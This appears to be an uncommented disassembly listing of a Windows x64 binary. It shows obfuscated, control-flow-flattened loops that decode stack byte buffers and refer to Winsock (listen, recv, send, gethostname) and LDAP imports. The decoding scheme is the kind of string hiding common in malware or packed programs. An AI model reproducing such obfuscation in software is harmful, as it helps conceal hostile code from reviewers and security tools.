cmp rsi, 0x23
jae 0x140075255
movzx r10d, byte [rbp + rsi + 0xae0]
mov ebx, r10d
cmp r8, rsi
ja 0x14007524c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140074831
add rcx, rsi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x63
jmp 0x140074880
je 0x1400751ea
inc rax
cmp r8, rax
je 0x14007517e
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007514f
lea rax, [r9 + 5]
cmp r8, rax
je 0x140075100
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400750de
lea rax, [r9 + 8]
cmp r8, rax
je 0x140075086
nop word [rax + rax]
mov rbx, r8
cmp r9, rsi
ja 0x140075243
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400748b4
lea rdx, [rsi + r15]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1f
add r11b, dl
jmp 0x140074901
lea rax, [r9 + 1]
cmp r8, rax
je 0x140075064
inc rax
cmp r8, rax
je 0x140075036
lea rax, [r9 + 4]
cmp r8, rax
je 0x140075011
lea rax, [r9 + 5]
cmp r8, rax
je 0x140074fdc
lea rax, [r9 + 6]
cmp r8, rax
je 0x140074f81
lea rax, [r9 + 8]
cmp r8, rax
je 0x140074f4c
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x140074b6a
nop
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140074b44
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140074b16
lea rax, [r9 + 3]
cmp r8, rax
je 0x140074aed
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140074ab3
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x28]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14007521e
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400749ac
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140074a5c
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140074a21
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400749f9
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400749cb
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x80]
jmp 0x140074910
lea rdx, [rsi + r12]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 5
add r11b, dl
jmp 0x140074880
movabs rcx, 0xbb99fa067b890634
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6c
add r11b, cl
dec rsi
inc rsi
jmp 0x1400747d2
movabs rcx, 0xac34ce9c051e700c
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x54
add r11b, cl
jmp 0x140074fa4
movabs rcx, 0x248238e6c9e924f8
add rcx, rsi
movzx eax, r10b
and al, cl
mov r11d, Ordinal_33
sub r11b, al
add r11b, r11b
add r11b, r10b
add r11b, cl
movzx eax, byte [rbp + rsi + 0xae0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400747d2
movabs rcx, 0xb709b2e9a24be195
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x13
add r11b, cl
cmp r9, 1
jb 0x140074ee4
movabs rdx, 0x8449e98d65cefa7e
add rdx, rsi
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400750a9
movabs rdx, 0xb2796bccc90ebcf6
add rdx, rsi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rsi + 0xae0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400747d2
movabs rdx, 0xa314406252a426ce
add rdx, rsi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140075166
movabs rcx, 0xd7885fd279d43630
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x50
inc r9
dec rsi
inc rsi
jmp 0x1400747d2
movabs rdx, 0x93af14f7dc3990a6
add rdx, rsi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400750a6
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x140074c1b
movabs rcx, 0xa1eca56d4ecd52c5
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x63
add r11b, cl
lea rax, [r9 + r8]
cmp rax, 6
je 0x140074f21
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x140074d4f
movabs rdx, 0x95636b0bc6ecb8f1
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x69
add r11b, dl
cmp r8, 0x80
jae 0x140074ef4
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x140074e46
movabs rdx, 0xddccfd033dc4831a
add rdx, rsi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140074a7f
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140074c5a
movabs rcx, 0x90d323eeedaf9452
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3e
movzx eax, byte [rbp + rsi + 0xae0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400747d2
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140074c89
movabs rdx, 0x1885b9a428e4df66
add rdx, rsi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140074fa1
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140074cb7
movabs rcx, 0xa0384f59641a2a7a
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x56
jmp 0x140075166
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140074ce5
movabs rdx, 0xe4119a3401b4d004
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1c
jmp 0x140075120
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140074d1d
movabs rdx, 0x27eae50e9f4f758e
add rdx, rsi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rsi
inc rsi
jmp 0x1400747d2
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x140074b9a
movabs rdx, 0xaf9d7ac3da84c0a2
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6e
jmp 0x1400750a6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140074d7d
movabs rdx, 0xd93cb5e664875e7b
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5d
jmp 0x1400750a6
inc rax
cmp r8, rax
jne 0x140074db3
movabs rcx, 0x1d1600c102220405
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x23
inc r9
dec rsi
inc rsi
jmp 0x1400747d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140074de7
movabs rcx, 0x60ef4b9b9fbca98f
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x17
dec rsi
inc rsi
jmp 0x1400747d2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140074e15
movabs rcx, 0xe8a1e150daf1f4a3
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x75
jmp 0x140075166
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140074bd8
movabs rdx, 0x7054770616273fb7
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
dec r11b
jmp 0x140074fa1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140074e85
movabs rcx, 0x21a647dddb5f28a4
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7c
movzx eax, byte [rbp + rsi + 0xae0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400747d2
inc rax
cmp r8, rax
jne 0x140074eb2
movabs rdx, 0x657f92b878f9ce2e
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x42
jmp 0x14007519d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140074a7f
movabs rdx, 0xa958dd93169473b8
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
jmp 0x140074fa1
mov byte [rbp + rsi + 0xae0], r11b
inc rsi
jmp 0x1400747d2
movabs rdx, 0xc82334680369a008
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rbp + rsi + 0xae0]
sub r11b, al
sub r11b, 0x38
add r11b, r10b
jmp 0x140075120
movabs rdx, 0xbfc7f42a1044592
add rdx, rsi
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rsi + 0xae0]
add r11b, r10b
jmp 0x140074fa1
movabs rcx, 0xab0d33a701479c03
add rcx, rsi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x15
movzx eax, byte [rbp + rsi + 0xae0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400747d2
movabs rdx, 0x235a9df1c61250ef
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x77
add r11b, dl
movabs rdx, 0xade924afefd19857
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x61
add cl, dl
movzx eax, cl
mov byte [rbp + rsi + 0xae0], al
inc r9
add rax, r9
sub rsi, rax
jmp 0x1400751a0
movabs rcx, 0xdf8153172877ab65
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x3d
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400747d2
movabs rdx, 0x57cebd61ed426051
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x37
jmp 0x140075120
movabs rcx, 0xd01c27acb20d153d
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x55
inc r9
dec rsi
inc rsi
jmp 0x1400747d2
movabs rdx, 0x8c42dcd214726fb3
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x1b
jmp 0x1400750a6
movabs rdx, 0x490471cd93d249f
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x59
add r11b, dl
movabs rcx, 0x26368efab49c4d43
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x2b
add r10b, cl
mov byte [rbp + rsi + 0xae0], r10b
inc r9
dec rsi
inc rsi
jmp 0x1400747d2
lea rcx, [rsi + rdx]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x33
dec rsi
inc rsi
jmp 0x1400747d2
movabs rdx, 0x3904668d006d3401
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 7
add r11b, dl
movabs rdx, 0x6a0fd9d55236f2cd
add rdx, rsi
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x65
add cl, r10b
add cl, dl
mov byte [rbp + rsi + 0xae0], cl
jmp 0x140075166
lea rcx, [rsi + rdi]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x41
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400747d2
movabs rdx, 0x299f3b228a029dd9
add rdx, rsi
movzx eax, dl
and al, bl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x11
add r11b, dl
movabs rdx, 0x4fd5ca1d3e9eeb1c
add rdx, rsi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rsi + 0xae0], cl
inc r8
mov rax, r13
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0xae0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400747d2
movabs rcx, 0xe5c5f047ec67f84f
add rcx, rsi
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x29
movzx eax, byte [rbp + rsi + 0xae0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400747d2
movabs rcx, 0xdc18a6ef53115acf
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x57
jmp 0x1400747b4
lea rcx, [rbp + 0x173a73c]
jmp 0x14007525c
lea rcx, [rbp + 0xc0fa01]
jmp 0x14007525c
lea rcx, [rbp + 0xae0]
mov rdx, r14
call fcn.1400353f0
lea rdx, [0x14021ad90]
lea rcx, [rbp + 0x480]
call fcn.1400022f0
mov rdx, rax
mov rcx, qword [0x140220748]
call fcn.1400693e0
mov rcx, rax
call fcn.14006a7d0
mov rdi, rax
mov byte [rbp + 0xb08], 0x7d
mov byte [rbp + 0xb09], 0x50
mov byte [rbp + 0xb0a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + listen0b], 0xb
mov byte [rbp + 0xb0c], 0x60
mov byte [rbp + 0xb0d], 0x78
mov byte [rbp + 0xb0e], WSAStartup
mov byte [rbp + 0xb0f], Ordinal_50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb10], xmm0
mov qword [rbp + 0xb20], rax
mov word [rbp + 0xb28], ax
mov byte [rbp + 0xb2a], al
movabs rsi, 0x96a1902727066809
movabs r12, 0xd66937a057311125
movabs r14, 0x6b21340f57a44f17
movabs r15, 0xbe4ec4cea9422ccd
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400760e8
movzx r11d, byte [rbp + rbx + 0xb08]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400760df
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007537c
lea rcx, [rbx + r12]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 3
jmp 0x1400753b6
je 0x14007605a
lea rax, [r9 + 2]
cmp r8, rax
je 0x140075fc0
lea rax, [r9 + 5]
cmp r8, rax
je 0x140075f89
lea rax, [r9 + 3]
cmp r8, rax
je 0x140075f5f
lea rax, [r9 + 4]
cmp r8, rax
je 0x140075f0e
cmp r9, rbx
ja 0x1400760d6
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400753e0
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3f
jmp 0x140075430
lea rax, [r9 + 1]
cmp r8, rax
je 0x140075eed
inc rax
cmp r8, rax
je 0x140075ec3
lea rax, [r9 + 3]
cmp r8, rax
je 0x140075e9f
lea rax, [r9 + 5]
cmp r8, rax
je 0x140075e6b
lea rax, [r9 + 7]
cmp r8, rax
je 0x140075e47
lea rax, [r9 + 6]
cmp r8, rax
je 0x140075e23
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140075a9d
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140075a79
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140075a4c
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140075a22
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400759fe
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400759da
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400759a6
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140075982
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14007595e
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140075929
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140075440
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400760b2
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14007608e
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14007562c
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140075611
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400755f6
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400758c8
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140075866
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14007581a
lea rcx, [r9 + 0x41]
cmp r8, rcx
jb 0x1400757eb
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140075440
mov r8, rcx
lea r9, [rcx + 1]
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x1400757b1
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x140075788
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x14007575f
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x140075726
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400756fd
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x1400756da
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x1400756ab
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x140075679
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x140075650
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x140075440
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x28]
jmp 0x140075440
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5f
jmp 0x140075430
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x65
jmp 0x1400753b6
movabs rcx, 0x117c558dfae00a83
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6b
jmp 0x140075345
movabs rdx, 0xb50c813938334048
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140075f2d
movabs rdx, 0x83a11f889d11dfe
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140075332
movabs rdx, 0x5b67a2b7db6efbb4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140075332
movabs rdx, 0xae9533772d0cd96a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x140075dc3
movabs rdx, 0x1c2c4367eaab720
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140075fa8
movabs rdx, 0x54f054f5d04894d6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075332
movabs rdx, 0xa81de5b521e6728c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140075fe1
movabs rdx, 0xfb4b767473845042
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140076011
movabs rdx, 0x4e790733c5222df8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xb08]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075332
movabs rcx, 0x1e6af112112cd83f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
mov byte [rbp + rbx + 0xb08], r10b
inc rbx
jmp 0x140075332
movabs rcx, 0x719881d162cab5f5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4d
cmp r9, 1
jb 0x14007580a
movabs rcx, 0x6dec29e2bd8cd4be
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x64]
jmp 0x140075f2d
movabs rcx, 0xc4c61290b46893ab
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x53
cmp r8, 0x5a
jae 0x140075d9e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x140075cfd
movabs rdx, 0xadb3d15bedb77dda
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140075839
movabs rcx, 0x17f3a35006067161
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x59
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x140075df8
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140075bca
movabs rcx, 0x17124134c6b115d1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x49
jmp 0x140075885
movabs rcx, 0x87c960eaea267036
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
movzx eax, byte [rbp + rbx + 0xb08]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075332
movabs rcx, 0xdaf6f1aa3bc44dec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
jmp 0x140076011
movabs rcx, 0x2e2482698d622ba2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
jmp 0x140075fe1
movabs rcx, 0x81521328df000958
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075332
movabs rcx, 0xd47fa3e8309de70e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
jmp 0x140075fa8
movabs rcx, 0x27ad34a7823bc4c4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
jmp 0x140075dc9
movabs rcx, 0x7adac566d3d9a27a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
dec rbx
inc rbx
jmp 0x140075332
movabs rcx, 0xce08562625778030
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
inc r9
dec rbx
inc rbx
jmp 0x140075332
movabs rcx, 0x2135e6e577155de6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
jmp 0x140075f2d
lea rax, [r9 + 9]
cmp r8, rax
jae 0x140075ac1
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 3
jmp 0x1400758e7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140075aff
movabs rcx, 0x2d43204e4e0cd012
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
movzx eax, byte [rbp + rbx + 0xb08]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075332
inc rax
cmp r8, rax
jne 0x140075b30
movabs rdx, 0xe08cdd510795593a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140075fa8
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140075b5c
movabs rdx, 0x8d5f4c91b5f77b84
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x140075dc3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140075b94
movabs rdx, 0x3a31bbd264599dce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140075332
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400758e7
movabs rdx, 0x93d69a53c11de262
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140075f2d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140075bf7
movabs rcx, 0xc3e4b0757513381b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x43
jmp 0x140075f2d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140075c24
movabs rcx, 0xca5bfe3780399ef9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
jmp 0x140075dc9
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140075c51
movabs rcx, 0x772e6d782e9bc143
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2b
jmp 0x140075fa8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140075c8e
movabs rcx, 0x2400dcb8dcfde38d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x25
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075332
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140075cbb
movabs rcx, 0xd0d34bf98b6005d7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1f
jmp 0x140075fe1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140075885
movabs rcx, 0x2a782a7ae8244a6b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x13
movzx eax, byte [rbp + rbx + 0xb08]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075332
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140075d40
movabs rdx, 0x5a86409c9c19a024
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xb08]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075332
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140075d6d
movabs rcx, 0x758afdd4a7bc26e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
jmp 0x140076011
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140075839
movabs rcx, 0xb42b1f1df8dde4b8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
jmp 0x140075fe1
movabs rdx, 0x1abe99236beef708
add rdx, rbx
movzx eax, dl
